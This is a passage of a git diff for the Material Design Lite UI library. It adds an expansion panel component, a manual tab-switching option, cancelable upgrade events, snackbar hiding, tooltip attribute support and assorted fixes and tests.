the specific language governing permissions and + * limitations under the License. + */ + +@import "../variables"; +@import "../mixins"; + +.mdl-expansion { + border-bottom: 1px solid rgba(0, 0, 0, .12); + box-sizing: border-box; + + &__summary { + @include typo-preferred-font; + padding-left: 24px; + padding-right: 24px; + height: 48px; + display: flex; + outline: none; + + &::-webkit-details-marker { + display: none; + } + + &::after { + @include typo-icon; + content: '\e313'; + display: inline-flex; + flex-direction: column; + user-select: none; + justify-content: center; + transition: transform 200ms, color 200ms; + margin-left: auto; + color: rgba(0, 0, 0, .38); + } + + &:focus { + background-color: unquote("rgba(#{$palette-grey-200}, 1)"); + &::after { + color: rgba(0, 0, 0, .54); + } + } + } + + &__header { + display: flex; + flex-direction: column; + justify-content: center; + font-size: 0.9375rem; + font-weight: 500; + flex-basis: 30%; + margin-right: 16px; + } + + &__subheader { + font-size: .75rem; + color: rgba(0, 0, 0, .54); + } + + &__secondary-header { + display: flex; + flex-direction: column; + justify-content: center; + font-size: 0.9375rem; + font-weight: 500; + flex-basis: 30%; + color: rgba(0, 0, 0, .87); + margin-right: 16px; + } + + &__content { + @include typo-preferred-font; + padding-left: 24px; + padding-right: 24px; + padding-top: 16px; + padding-bottom: 16px; + &+.mdl-expansion__actions { + border-top: 1px solid rgba(0, 0, 0, .12); + } + } + + &__actions { + display: flex; + flex-direction: row-reverse; + padding-top: 16px; + padding-bottom: 16px; + } + + &__action { + margin-right: 8px; + } + + &[open] { + .mdl-expansion__summary::after { + transform: rotate(180deg); + } + } +} diff --git a/src/expansion/snippets/expansion.html b/src/expansion/snippets/expansion.html new file mode 100644 index 000000000..2cf05f39b --- /dev/null +++ b/src/expansion/snippets/expansion.html @@ -0,0 +1,49 @@ +
+ + Trip name + Caribbean Cruise + +
+
+ + Location + Barbados + + +
+ +
+
+ + +
+
+
+ + Start and end dates + Start date: Feb 29, 2016 + End date: Not set + +
+
+ + Carrier + The best cruise line + +
+
+ + + Meal preferences + + Optional + + + + Vegetarian + + +
diff --git a/src/icon-toggle/icon-toggle.js b/src/icon-toggle/icon-toggle.js index 5d5a17c6d..285f6a06f 100644 --- a/src/icon-toggle/icon-toggle.js +++ b/src/icon-toggle/icon-toggle.js @@ -14,7 +14,6 @@ * See the License for the specific language governing permissions and * limitations under the License. */ - (function() { 'use strict'; diff --git a/src/layout/README.md b/src/layout/README.md index dc69c7fac..9c8238ce9 100644 --- a/src/layout/README.md +++ b/src/layout/README.md @@ -152,7 +152,7 @@ Use of MDL layout principles simplifies the creation of scalable pages by provid
Simple Layout @@ -178,7 +178,7 @@ Use of MDL layout principles simplifies the creation of scalable pages by provid
Simple Layout @@ -336,4 +336,5 @@ The MDL CSS classes apply various predefined visual and behavioral enhancements | `mdl-layout__tab` | Defines anchor as MDL tab link | Required on tab bar anchor elements | | `is-active` | Defines tab as default active tab | Optional; goes on tab bar anchor element and associated tab section element| | `mdl-layout__tab-panel` | Defines container as tab content panel | Required on tab section elements | +| `mdl-layout__tab-manual-switch` | Disables tab switching when clicking on tab separators. Useful for disabling default behavior and setting up your own event listeners. | Optional; goes on tab bar element | | `mdl-layout--fixed-tabs` | Uses fixed tabs instead of the default scrollable tabs | Optional; goes on outer div element (not div inside header) | diff --git a/src/layout/_layout.scss b/src/layout/_layout.scss index de8fc0ce3..844f9cd9a 100644 --- a/src/layout/_layout.scss +++ b/src/layout/_layout.scss @@ -189,9 +189,9 @@ text-align: center; cursor: pointer; font-size: 26px; - line-height: $layout-drawer-button-desktop-size + 2; + line-height: $layout-mobile-header-height; font-family: Helvetica, Arial, sans-serif; - margin: 10px 12px; + margin: ($layout-mobile-header-height - $layout-drawer-button-desktop-size) 12px; top: 0; left: 0; color: $layout-header-text-color; @@ -214,18 +214,14 @@ } @media screen and (min-width: $layout-screen-size-threshold + 1px) { - .mdl-layout--fixed-drawer > & { - display: none; - } + line-height: 54px; - .mdl-layout--no-desktop-drawer-button & { + .mdl-layout--no-desktop-drawer-button &, + .mdl-layout--fixed-drawer > &, + .mdl-layout--no-drawer-button & { display: none; } } - - .mdl-layout--no-drawer-button & { - display: none; - } } .mdl-layout__header { @@ -563,7 +559,6 @@ } @media screen and (max-width: $layout-screen-size-threshold) { - display: none; width: $layout-header-mobile-baseline - $layout-tab-mobile-padding; } @@ -634,7 +629,7 @@ left: 0; position: absolute; background: $layout-header-tab-highlight; - animation: border-expand 0.2s cubic-bezier(0.4, 0.0, 0.4, 1) 0.01s alternate forwards; + animation: border-expand 0.2s cubic-bezier(0.4, 0.0, 0.4, 1) alternate forwards; transition: all 1s cubic-bezier(0.4, 0.0, 1, 1); } diff --git a/src/layout/layout.js b/src/layout/layout.js index 9e1e4e685..e9979acc9 100644 --- a/src/layout/layout.js +++ b/src/layout/layout.js @@ -14,7 +14,6 @@ * See the License for the specific language governing permissions and * limitations under the License. */ - (function() { 'use strict'; @@ -102,6 +101,7 @@ HEADER_SCROLL: 'mdl-layout__header--scroll', FIXED_HEADER: 'mdl-layout--fixed-header', + FIXED_DRAWER: 'mdl-layout--fixed-drawer', OBFUSCATOR: 'mdl-layout__obfuscator', TAB_BAR: 'mdl-layout__tab-bar', @@ -110,6 +110,7 @@ TAB_BAR_BUTTON: 'mdl-layout__tab-bar-button', TAB_BAR_LEFT_BUTTON: 'mdl-layout__tab-bar-left-button', TAB_BAR_RIGHT_BUTTON: 'mdl-layout__tab-bar-right-button', + TAB_MANUAL_SWITCH: 'mdl-layout__tab-manual-switch', PANEL: 'mdl-layout__tab-panel', HAS_DRAWER: 'has-drawer', @@ -128,6 +129,17 @@ }; + /** + * Provide local version of matchMedia. This is needed in order to support + * monkey-patching of matchMedia in the unit tests. Due to peculiarities in + * PhantomJS, it doesn't work to monkey patch window.matchMedia directly. + * + * @private + */ + MaterialLayout.prototype.matchMedia_ = function(query) { + return window.matchMedia(query); + }; + /** * Handles scrolling on the content. * @@ -181,12 +193,20 @@ MaterialLayout.prototype.screenSizeHandler_ = function() { if (this.screenSizeMediaQuery_.matches) { this.element_.classList.add(this.CssClasses_.IS_SMALL_SCREEN); + + if (this.drawer_) { + this.drawer_.setAttribute('aria-hidden', 'true'); + } } else { this.element_.classList.remove(this.CssClasses_.IS_SMALL_SCREEN); // Collapse drawer (if any) when moving to a large screen size. if (this.drawer_) { this.drawer_.classList.remove(this.CssClasses_.IS_DRAWER_OPEN); this.obfuscator_.classList.remove(this.CssClasses_.IS_DRAWER_OPEN); + + if (this.element_.classList.contains(this.CssClasses_.FIXED_DRAWER)) { + this.drawer_.setAttribute('aria-hidden', 'false'); + } } } }; @@ -423,7 +443,7 @@ // Keep an eye on screen size, and add/remove auxiliary class for styling // of small screens. - this.screenSizeMediaQuery_ = window.matchMedia( + this.screenSizeMediaQuery_ = this.matchMedia_( /** @type {string} */ (this.Constant_.MAX_WIDTH)); this.screenSizeMediaQuery_.addListener(this.screenSizeHandler_.bind(this)); this.screenSizeHandler_(); @@ -549,12 +569,15 @@ tab.appendChild(rippleContainer); } - tab.addEventListener('click', function(e) { - if (tab.getAttribute('href').charAt(0) === '#') { - e.preventDefault(); - selectTab(); - } - }); + if (!layout.tabBar_.classList.contains( + layout.CssClasses_.TAB_MANUAL_SWITCH)) { + tab.addEventListener('click', function(e) { + if (tab.getAttribute('href').charAt(0) === '#') { + e.preventDefault(); + selectTab(); + } + }); + } tab.show = selectTab; } diff --git a/src/list/README.md b/src/list/README.md index 042dc62c9..a90999099 100644 --- a/src/list/README.md +++ b/src/list/README.md @@ -48,7 +48,7 @@ The MDL CSS classes apply various predefined visual enhancements to the list. Th | .mdl-list__item-primary-content | Defines the primary content sub-division |-| | .mdl-list__item-avatar | Defines the avatar sub-division |-| | .mdl-list__item-icon | Defines the icon sub-division |-| -| .mdl-list__item-secondary-content | Defines the secondary content sub-division | requires `.mdl-list__item-two-line` or `.mdl-list__item-three-line` | -| .mdl-list__item-secondary-info | Defines the information sub-division |requires `.mdl-list__item-two-line` or `.mdl-list__item-three-line` | -| .mdl-list__item-secondary-action | Defines the Action sub-division | requires `.mdl-list__item-two-line` or `.mdl-list__item-three-line` | -| .mdl-list__item-text-body | Defines the Text Body sub-division | requires `.mdl-list__item-three-line` | +| .mdl-list__item-secondary-content | Defines the secondary content sub-division | requires `.mdl-list__item--two-line` or `.mdl-list__item--three-line` | +| .mdl-list__item-secondary-info | Defines the information sub-division |requires `.mdl-list__item--two-line` or `.mdl-list__item--three-line` | +| .mdl-list__item-secondary-action | Defines the Action sub-division | requires `.mdl-list__item--two-line` or `.mdl-list__item--three-line` | +| .mdl-list__item-text-body | Defines the Text Body sub-division | requires `.mdl-list__item--three-line` | diff --git a/src/list/snippets/list-control.html b/src/list/snippets/list-control.html index c69ba9227..dbbf312ef 100644 --- a/src/list/snippets/list-control.html +++ b/src/list/snippets/list-control.html @@ -26,10 +26,10 @@ person Aaron Paul - - + +
  • @@ -37,10 +37,10 @@ person Bob Odenkirk - - + +
  • diff --git a/src/material-design-lite.scss b/src/material-design-lite.scss index ccbad1488..391da2016 100644 --- a/src/material-design-lite.scss +++ b/src/material-design-lite.scss @@ -32,8 +32,10 @@ @import "button/button"; @import "card/card"; @import "checkbox/checkbox"; +@import "chip/chip"; @import "data-table/data-table"; @import "dialog/dialog"; +@import "expansion/expansion"; @import "footer/mega_footer"; @import "footer/mini_footer"; @import "icon-toggle/icon-toggle"; diff --git a/src/mdlComponentHandler.js b/src/mdlComponentHandler.js index e4e652395..0d8834e1a 100644 --- a/src/mdlComponentHandler.js +++ b/src/mdlComponentHandler.js @@ -14,7 +14,6 @@ * See the License for the specific language governing permissions and * limitations under the License. */ - /** * A component handler interface using the revealing module design pattern. * More details on this design pattern here: @@ -141,6 +140,27 @@ componentHandler = (function() { return upgradedList.indexOf(jsClass) !== -1; } + /** + * Create an event object. + * + * @param {string} eventType The type name of the event. + * @param {boolean} bubbles Whether the event should bubble up the DOM. + * @param {boolean} cancelable Whether the event can be canceled. + * @returns {!Event} + */ + function createEvent_(eventType, bubbles, cancelable) { + if ('CustomEvent' in window && typeof window.CustomEvent === 'function') { + return new CustomEvent(eventType, { + bubbles: bubbles, + cancelable: cancelable + }); + } else { + var ev = document.createEvent('Events'); + ev.initEvent(eventType, bubbles, cancelable); + return ev; + } + } + /** * Searches existing DOM for elements of our component type and upgrades them * if they have not already been upgraded. @@ -185,6 +205,13 @@ componentHandler = (function() { if (!(typeof element === 'object' && element instanceof Element)) { throw new Error('Invalid argument provided to upgrade MDL element.'); } + // Allow upgrade to be canceled by canceling emitted event. + var upgradingEv = createEvent_('mdl-componentupgrading', true, true); + element.dispatchEvent(upgradingEv); + if (upgradingEv.defaultPrevented) { + return; + } + var upgradedList = getUpgradedListOfElement_(element); var classesToUpgrade = []; // If jsClass is not provided scan the registered components to find the @@ -227,16 +254,8 @@ componentHandler = (function() { 'Unable to find a registered component for the given class.'); } - var ev; - if ('CustomEvent' in window && typeof window.CustomEvent === 'function') { - ev = new CustomEvent('mdl-componentupgraded', { - bubbles: true, cancelable: false - }); - } else { - ev = document.createEvent('Events'); - ev.initEvent('mdl-componentupgraded', true, true); - } - element.dispatchEvent(ev); + var upgradedEv = createEvent_('mdl-componentupgraded', true, false); + element.dispatchEvent(upgradedEv); } } @@ -358,15 +377,7 @@ componentHandler = (function() { upgrades.splice(componentPlace, 1); component.element_.setAttribute('data-upgraded', upgrades.join(',')); - var ev; - if ('CustomEvent' in window && typeof window.CustomEvent === 'function') { - ev = new CustomEvent('mdl-componentdowngraded', { - bubbles: true, cancelable: false - }); - } else { - ev = document.createEvent('Events'); - ev.initEvent('mdl-componentdowngraded', true, true); - } + var ev = createEvent_('mdl-componentdowngraded', true, false); component.element_.dispatchEvent(ev); } } diff --git a/src/menu/menu.js b/src/menu/menu.js index de5b3b996..869c727c4 100644 --- a/src/menu/menu.js +++ b/src/menu/menu.js @@ -14,7 +14,6 @@ * See the License for the specific language governing permissions and * limitations under the License. */ - (function() { 'use strict'; diff --git a/src/progress/progress.js b/src/progress/progress.js index 442e2d68e..cb8ca725b 100644 --- a/src/progress/progress.js +++ b/src/progress/progress.js @@ -14,7 +14,6 @@ * See the License for the specific language governing permissions and * limitations under the License. */ - (function() { 'use strict'; diff --git a/src/radio/_radio.scss b/src/radio/_radio.scss index 73110a011..e2268265a 100644 --- a/src/radio/_radio.scss +++ b/src/radio/_radio.scss @@ -25,7 +25,10 @@ display: inline-block; + vertical-align: middle; + box-sizing: border-box; + height: $radio-label-height; margin: 0; padding-left: 0; @@ -98,13 +101,13 @@ @include material-animation-default(0.28s); transition-property: transform; - transform: scale3d(0, 0, 0); + transform: scale(0, 0); border-radius: 50%; background: $radio-color; .mdl-radio.is-checked & { - transform: scale3d(1, 1, 1); + transform: scale(1, 1); } fieldset[disabled] .mdl-radio &, diff --git a/src/radio/radio.js b/src/radio/radio.js index 683ff72c5..697f5d2ce 100644 --- a/src/radio/radio.js +++ b/src/radio/radio.js @@ -14,7 +14,6 @@ * See the License for the specific language governing permissions and * limitations under the License. */ - (function() { 'use strict'; @@ -82,7 +81,9 @@ var button = radios[i].querySelector('.' + this.CssClasses_.RADIO_BTN); // Different name == different group, so no point updating those. if (button.getAttribute('name') === this.btnElement_.getAttribute('name')) { - radios[i]['MaterialRadio'].updateClasses_(); + if (typeof radios[i]['MaterialRadio'] !== 'undefined') { + radios[i]['MaterialRadio'].updateClasses_(); + } } } }; @@ -202,7 +203,7 @@ */ MaterialRadio.prototype.check = function() { this.btnElement_.checked = true; - this.updateClasses_(); + this.onChange_(null); }; MaterialRadio.prototype['check'] = MaterialRadio.prototype.check; @@ -213,7 +214,7 @@ */ MaterialRadio.prototype.uncheck = function() { this.btnElement_.checked = false; - this.updateClasses_(); + this.onChange_(null); }; MaterialRadio.prototype['uncheck'] = MaterialRadio.prototype.uncheck; diff --git a/src/ripple/ripple.js b/src/ripple/ripple.js index c39ed8ad1..ead5832ec 100644 --- a/src/ripple/ripple.js +++ b/src/ripple/ripple.js @@ -14,7 +14,6 @@ * See the License for the specific language governing permissions and * limitations under the License. */ - (function() { 'use strict'; @@ -102,8 +101,8 @@ x = Math.round(bound.width / 2); y = Math.round(bound.height / 2); } else { - var clientX = event.clientX ? event.clientX : event.touches[0].clientX; - var clientY = event.clientY ? event.clientY : event.touches[0].clientY; + var clientX = event.clientX !== undefined ? event.clientX : event.touches[0].clientX; + var clientY = event.clientY !== undefined ? event.clientY : event.touches[0].clientY; x = Math.round(clientX - bound.left); y = Math.round(clientY - bound.top); } diff --git a/src/slider/slider.js b/src/slider/slider.js index b34b8b6ba..b37267993 100644 --- a/src/slider/slider.js +++ b/src/slider/slider.js @@ -14,7 +14,6 @@ * See the License for the specific language governing permissions and * limitations under the License. */ - (function() { 'use strict'; @@ -83,16 +82,6 @@ this.updateValueStyles_(); }; - /** - * Handle mouseup on element. - * - * @param {Event} event The event that fired. - * @private - */ - MaterialSlider.prototype.onMouseUp_ = function(event) { - event.target.blur(); - }; - /** * Handle mousedown on container element. * This handler is purpose is to not require the use to click @@ -221,11 +210,9 @@ this.boundInputHandler = this.onInput_.bind(this); this.boundChangeHandler = this.onChange_.bind(this); - this.boundMouseUpHandler = this.onMouseUp_.bind(this); this.boundContainerMouseDownHandler = this.onContainerMouseDown_.bind(this); this.element_.addEventListener('input', this.boundInputHandler); this.element_.addEventListener('change', this.boundChangeHandler); - this.element_.addEventListener('mouseup', this.boundMouseUpHandler); this.element_.parentElement.addEventListener('mousedown', this.boundContainerMouseDownHandler); this.updateValueStyles_(); diff --git a/src/snackbar/snackbar.js b/src/snackbar/snackbar.js index 7a855abf3..92a2a5236 100644 --- a/src/snackbar/snackbar.js +++ b/src/snackbar/snackbar.js @@ -38,6 +38,7 @@ this.actionHandler_ = undefined; this.message_ = undefined; this.actionText_ = undefined; + this.timeoutID_ = undefined; this.queuedNotifications_ = []; this.setActionHidden_(true); }; @@ -86,7 +87,7 @@ this.textElement_.textContent = this.message_; this.element_.classList.add(this.cssClasses_.ACTIVE); this.element_.setAttribute('aria-hidden', 'false'); - setTimeout(this.cleanup_.bind(this), this.timeout_); + this.timeoutID_ = setTimeout(this.cleanup_.bind(this), this.timeout_); }; @@ -127,7 +128,21 @@ } }; MaterialSnackbar.prototype['showSnackbar'] = MaterialSnackbar.prototype.showSnackbar; - + /** + * Hide the snackbar. + * + * @public + */ + MaterialSnackbar.prototype.hideSnackbar = function() { + if (!this.active) { + return; + } + if (typeof this.timeoutID_ === 'number') { + clearTimeout(this.timeoutID_); + this.cleanup_(); + } + }; + MaterialSnackbar.prototype['hideSnackbar'] = MaterialSnackbar.prototype.hideSnackbar; /** * Check if the queue has items within it. * If it does, display the next entry. @@ -158,6 +173,7 @@ this.actionHandler_ = undefined; this.message_ = undefined; this.actionText_ = undefined; + this.timeoutID_ = undefined; this.active = false; this.checkQueue_(); }.bind(this), /** @type {number} */ (this.Constant_.ANIMATION_LENGTH)); diff --git a/src/spinner/_spinner.scss b/src/spinner/_spinner.scss index 34ac0dfca..602e597df 100644 --- a/src/spinner/_spinner.scss +++ b/src/spinner/_spinner.scss @@ -192,6 +192,14 @@ overflow: hidden; border-color: inherit; + &.mdl-spinner__left { + float: left; + } + + &.mdl-spinner__right { + float: right; + } + & .mdl-spinner__circle { width: 200%; } diff --git a/src/spinner/spinner.js b/src/spinner/spinner.js index 8159fb303..54f24af23 100644 --- a/src/spinner/spinner.js +++ b/src/spinner/spinner.js @@ -14,7 +14,6 @@ * See the License for the specific language governing permissions and * limitations under the License. */ - (function() { 'use strict'; diff --git a/src/switch/switch.js b/src/switch/switch.js index e71a591ed..ab4006e32 100644 --- a/src/switch/switch.js +++ b/src/switch/switch.js @@ -14,7 +14,6 @@ * See the License for the specific language governing permissions and * limitations under the License. */ - (function() { 'use strict'; diff --git a/src/tabs/_tabs.scss b/src/tabs/_tabs.scss index a9ec51d60..16ae9c207 100644 --- a/src/tabs/_tabs.scss +++ b/src/tabs/_tabs.scss @@ -69,7 +69,7 @@ left: 0px; position: absolute; background: $tab-highlight-color; - animation: border-expand 0.2s cubic-bezier(0.4, 0.0, 0.4, 1) 0.01s alternate forwards; + animation: border-expand 0.2s cubic-bezier(0.4, 0.0, 0.4, 1) alternate forwards; transition: all 1s cubic-bezier(0.4, 0.0, 1, 1); } diff --git a/src/tabs/tabs.js b/src/tabs/tabs.js index 3f4d005c7..0bb5b0aa9 100644 --- a/src/tabs/tabs.js +++ b/src/tabs/tabs.js @@ -14,7 +14,6 @@ * See the License for the specific language governing permissions and * limitations under the License. */ - (function() { 'use strict'; @@ -111,6 +110,24 @@ } }; + /** + * Set the active tab. + * + * @public + * @param {Element|number} tab The tab element or index to set active. + */ + MaterialTabs.prototype.setTab = function(tab) { + tab = (typeof tab === 'number') ? this.tabs_[tab] : tab; + if (tab && tab.getAttribute('href').charAt(0) === '#') { + var href = tab.href.split('#')[1]; + var panel = this.element_.querySelector('#' + href); + this.resetTabState_(); + this.resetPanelState_(); + tab.classList.add(this.CssClasses_.ACTIVE_CLASS); + panel.classList.add(this.CssClasses_.ACTIVE_CLASS); + } + }; + /** * Initialize element. */ @@ -140,13 +157,10 @@ } tab.addEventListener('click', function(e) { - e.preventDefault(); - var href = tab.href.split('#')[1]; - var panel = ctx.element_.querySelector('#' + href); - ctx.resetTabState_(); - ctx.resetPanelState_(); - tab.classList.add(ctx.CssClasses_.ACTIVE_CLASS); - panel.classList.add(ctx.CssClasses_.ACTIVE_CLASS); + if (tab.getAttribute('href').charAt(0) === '#') { + e.preventDefault(); + ctx.setTab(tab); + } }); } diff --git a/src/textfield/_textfield.scss b/src/textfield/_textfield.scss index 910c657d7..b2b1d606d 100644 --- a/src/textfield/_textfield.scss +++ b/src/textfield/_textfield.scss @@ -50,6 +50,11 @@ min-width: $input-text-button-size; width: auto; min-height: $input-text-button-size; + + // Align icon button + .mdl-button--icon { + top: $input-text-expandable-icon-top; + } } // Styling for the input element. diff --git a/src/textfield/textfield.js b/src/textfield/textfield.js index 23883f3d1..1ee036eb5 100644 --- a/src/textfield/textfield.js +++ b/src/textfield/textfield.js @@ -14,7 +14,6 @@ * See the License for the specific language governing permissions and * limitations under the License. */ - (function() { 'use strict'; @@ -176,7 +175,10 @@ * @public */ MaterialTextfield.prototype.checkDirty = function() { - if (this.input_.value && this.input_.value.length > 0) { + if ( + (this.input_.value && this.input_.value.length > 0) || + (this.input_.placeholder.trim() !== '') + ) { this.element_.classList.add(this.CssClasses_.IS_DIRTY); } else { this.element_.classList.remove(this.CssClasses_.IS_DIRTY); diff --git a/src/third_party/rAF.js b/src/third_party/rAF.js index d2e8d7774..863f561fd 100644 --- a/src/third_party/rAF.js +++ b/src/third_party/rAF.js @@ -9,42 +9,42 @@ // MIT license (function() { -'use strict'; + 'use strict'; -if (!Date.now) { - /** - * Date.now polyfill. - * @return {number} the current Date - */ - Date.now = function() { return new Date().getTime(); }; - Date['now'] = Date.now; -} + if (!Date.now) { + /** + * Date.now polyfill. + * @return {number} the current Date + */ + Date.now = function() { return new Date().getTime(); }; + Date['now'] = Date.now; + } -var vendors = ['webkit', 'moz']; -for (var i = 0; i < vendors.length && !window.requestAnimationFrame; ++i) { - var vp = vendors[i]; - window.requestAnimationFrame = window[vp + 'RequestAnimationFrame']; - window.cancelAnimationFrame = (window[vp + 'CancelAnimationFrame'] || - window[vp + 'CancelRequestAnimationFrame']); - window['requestAnimationFrame'] = window.requestAnimationFrame; - window['cancelAnimationFrame'] = window.cancelAnimationFrame; -} + var vendors = ['webkit', 'moz']; + for (var i = 0; i < vendors.length && !window.requestAnimationFrame; ++i) { + var vp = vendors[i]; + window.requestAnimationFrame = window[vp + 'RequestAnimationFrame']; + window.cancelAnimationFrame = (window[vp + 'CancelAnimationFrame'] || + window[vp + 'CancelRequestAnimationFrame']); + window['requestAnimationFrame'] = window.requestAnimationFrame; + window['cancelAnimationFrame'] = window.cancelAnimationFrame; + } -if (/iP(ad|hone|od).*OS 6/.test(window.navigator.userAgent) || !window.requestAnimationFrame || !window.cancelAnimationFrame) { - var lastTime = 0; - /** - * requestAnimationFrame polyfill. - * @param {!Function} callback the callback function. - */ - window.requestAnimationFrame = function(callback) { - var now = Date.now(); - var nextTime = Math.max(lastTime + 16, now); - return setTimeout(function() { callback(lastTime = nextTime); }, - nextTime - now); - }; - window.cancelAnimationFrame = clearTimeout; - window['requestAnimationFrame'] = window.requestAnimationFrame; - window['cancelAnimationFrame'] = window.cancelAnimationFrame; -} + if (/iP(ad|hone|od).*OS 6/.test(window.navigator.userAgent) || !window.requestAnimationFrame || !window.cancelAnimationFrame) { + var lastTime = 0; + /** + * requestAnimationFrame polyfill. + * @param {!Function} callback the callback function. + */ + window.requestAnimationFrame = function(callback) { + var now = Date.now(); + var nextTime = Math.max(lastTime + 16, now); + return setTimeout(function() { callback(lastTime = nextTime); }, + nextTime - now); + }; + window.cancelAnimationFrame = clearTimeout; + window['requestAnimationFrame'] = window.requestAnimationFrame; + window['cancelAnimationFrame'] = window.cancelAnimationFrame; + } })(); diff --git a/src/tooltip/README.md b/src/tooltip/README.md index 5a79eed94..db61294d6 100755 --- a/src/tooltip/README.md +++ b/src/tooltip/README.md @@ -10,7 +10,7 @@ Tooltips are a ubiquitous feature of most user interfaces, regardless of a site' ```html

    HTML

    ``` - 2. Following the target element, code a second element, such as a `
    `, `

    `, or ``; this will be the tooltip itself. Include a `for` attribute whose value matches that of the target's `id`. + 2. Following the target element, code a second element, such as a `

    `, `

    `, or ``; this will be the tooltip itself. Include a `for` (or `data-mdl-for`) attribute whose value matches that of the target's `id`. ```html

    HTML

    HyperText Markup Language diff --git a/src/tooltip/_tooltip.scss b/src/tooltip/_tooltip.scss index 59ade4894..bec1cd5f4 100644 --- a/src/tooltip/_tooltip.scss +++ b/src/tooltip/_tooltip.scss @@ -19,7 +19,6 @@ .mdl-tooltip { transform: scale(0); transform-origin: top center; - will-change: transform; z-index: 999; background: $tooltip-background-color; border-radius: 2px; diff --git a/src/tooltip/snippets/tooltip-rich.html b/src/tooltip/snippets/tooltip-rich.html index 98333bba8..dab28f54d 100644 --- a/src/tooltip/snippets/tooltip-rich.html +++ b/src/tooltip/snippets/tooltip-rich.html @@ -1,5 +1,5 @@
    cloud_upload
    -
    +
    Upload file.zip
    diff --git a/src/tooltip/snippets/tooltip-simple.html b/src/tooltip/snippets/tooltip-simple.html index 42541325f..78ba6fc56 100644 --- a/src/tooltip/snippets/tooltip-simple.html +++ b/src/tooltip/snippets/tooltip-simple.html @@ -1,5 +1,5 @@
    add
    -
    +
    Follow
    diff --git a/src/tooltip/tooltip.js b/src/tooltip/tooltip.js index 83564ccca..54fda9c9e 100644 --- a/src/tooltip/tooltip.js +++ b/src/tooltip/tooltip.js @@ -14,7 +14,6 @@ * See the License for the specific language governing permissions and * limitations under the License. */ - (function() { 'use strict'; @@ -120,7 +119,8 @@ MaterialTooltip.prototype.init = function() { if (this.element_) { - var forElId = this.element_.getAttribute('for'); + var forElId = this.element_.getAttribute('for') || + this.element_.getAttribute('data-mdl-for'); if (forElId) { this.forElement_ = document.getElementById(forElId); diff --git a/templates/android-dot-com/index.html b/templates/android-dot-com/index.html index c6fccf507..e3e5f6caa 100644 --- a/templates/android-dot-com/index.html +++ b/templates/android-dot-com/index.html @@ -323,7 +323,7 @@

    Millions to choose from

    - View Source + View Source diff --git a/templates/article/index.html b/templates/article/index.html index f4a54f0be..3befaf926 100644 --- a/templates/article/index.html +++ b/templates/article/index.html @@ -133,7 +133,7 @@

    Basic MDL Usage

    - View Source + View Source diff --git a/templates/blog/entry.html b/templates/blog/entry.html index 36ccb1b4a..48790f0c0 100644 --- a/templates/blog/entry.html +++ b/templates/blog/entry.html @@ -202,7 +202,7 @@

    On the road again

    - View Source + View Source diff --git a/templates/blog/index.html b/templates/blog/index.html index 70c95f918..a5c5d9ee2 100644 --- a/templates/blog/index.html +++ b/templates/blog/index.html @@ -178,7 +178,7 @@

    Shopping

    - View Source + View Source diff --git a/templates/dashboard/styles.css b/templates/dashboard/styles.css index bf1f748ee..5e5fcc827 100644 --- a/templates/dashboard/styles.css +++ b/templates/dashboard/styles.css @@ -22,13 +22,6 @@ html, body { height: 48px; border-radius: 24px; } -.demo-layout .demo-header .mdl-textfield { - padding: 0px; - margin-top: 41px; -} -.demo-layout .demo-header .mdl-textfield .mdl-textfield__expandable-holder { - bottom: 19px; -} .demo-layout .mdl-layout__header .mdl-layout__drawer-button { color: rgba(0, 0, 0, 0.54); } diff --git a/templates/text-only/index.html b/templates/text-only/index.html index 4418d669b..f0fbfb751 100644 --- a/templates/text-only/index.html +++ b/templates/text-only/index.html @@ -291,7 +291,7 @@

    FAQ

    - View Source + View Source diff --git a/test/unit/data-table.js b/test/unit/data-table.js index 65a63d2d6..2821f8a45 100644 --- a/test/unit/data-table.js +++ b/test/unit/data-table.js @@ -14,48 +14,49 @@ * limitations under the License. */ -/*global describe, it, expect, MaterialDataTable, componentHandler */ +var TABLE_TEMPLATE = '' + + '' + + ' ' + + ' ' + + ' ' + + ' ' + + ' ' + + '' + + '' + + ' ' + + ' ' + + ' ' + + ' ' + + ' ' + + ' ' + + ' ' + + ' ' + + ' ' + + ' ' + + '' + + '
    MaterialQuantityUnit price
    Acrylic (Transparent)25$2.90
    Plywood (Birch)50$1.25
    '; describe('MaterialDataTable', function () { - function createTable() { - var table = document.createElement('table'); - table.classList.add('mdl-data-table'); - table.classList.add('mdl-js-data-table'); - - table.createTHead(); - var headTh = document.createElement('th'); - table.querySelector('thead').appendChild(headTh); - - var tBodyRow = table.insertRow(0); - tBodyRow.insertCell(0); - - return table; - } - it('should be globally available', function () { expect(MaterialDataTable).to.be.a('function'); }); it('should upgrade successfully', function () { - var table = createTable(); + var el = document.createElement('div'); + el.innerHTML = TABLE_TEMPLATE; - componentHandler.upgradeElement(table, 'MaterialDataTable'); - expect($(table)).to.have.data('upgraded', ',MaterialDataTable'); + componentHandler.upgradeElement(el, 'MaterialDataTable'); + expect($(el)).to.have.data('upgraded', ',MaterialDataTable'); }); it('should have is-checked class when the row has the is-selected class', function () { - var table = createTable(); - table.classList.add('mdl-data-table--selectable'); - var row = table.insertRow(); - row.classList.add('is-selected'); - row.insertCell(); - - document.body.appendChild(table); - + var el = document.createElement('div'); + el.innerHTML = TABLE_TEMPLATE; + document.body.appendChild(el); + table = document.querySelector('#data-table-test') componentHandler.upgradeElement(table, 'MaterialDataTable'); - expect(table.querySelector('tbody:nth-child(2) label').classList.contains('is-checked')).to.be.true; - document.body.removeChild(table); + expect(table.querySelector('.second-row label').classList.contains('is-checked')).to.be.true; }); -}); +}); \ No newline at end of file diff --git a/test/unit/layout.js b/test/unit/layout.js index 8a9d53bf9..688314f45 100644 --- a/test/unit/layout.js +++ b/test/unit/layout.js @@ -16,6 +16,33 @@ describe('MaterialLayout', function () { + MockMediaQueryList = function(media) { + this.media = media; + this.listeners = []; + } + + MockMediaQueryList.registry = {}; + + MockMediaQueryList.mockMatchMedia = function(query) { + if (! MockMediaQueryList.registry.hasOwnProperty(query)) { + MockMediaQueryList.registry[query] = new MockMediaQueryList(query); + } + return MockMediaQueryList.registry[query]; + } + + MockMediaQueryList.prototype.addListener = function(listener) { + this.listeners.push(listener); + } + + MockMediaQueryList.prototype.triggerMatch = function(matches) { + this.matches = matches; + this.listeners.forEach(function(listener) { + // PhantomJS doesn't support MediaQueryListEvent() so mock the event. + var event = {media: this.media, matches: this.matches}; + listener(event); + }.bind(this)); + } + it('should be globally available', function () { expect(MaterialLayout).to.be.a('function'); }); @@ -99,13 +126,18 @@ describe('MaterialLayout', function () { }); describe('Drawer', function () { + var el; var drawer, drawerBtn; var navLink; beforeEach(function() { - var el = document.createElement('div'); + this.originalMatchMedia = window.MaterialLayout.prototype.matchMedia_; + 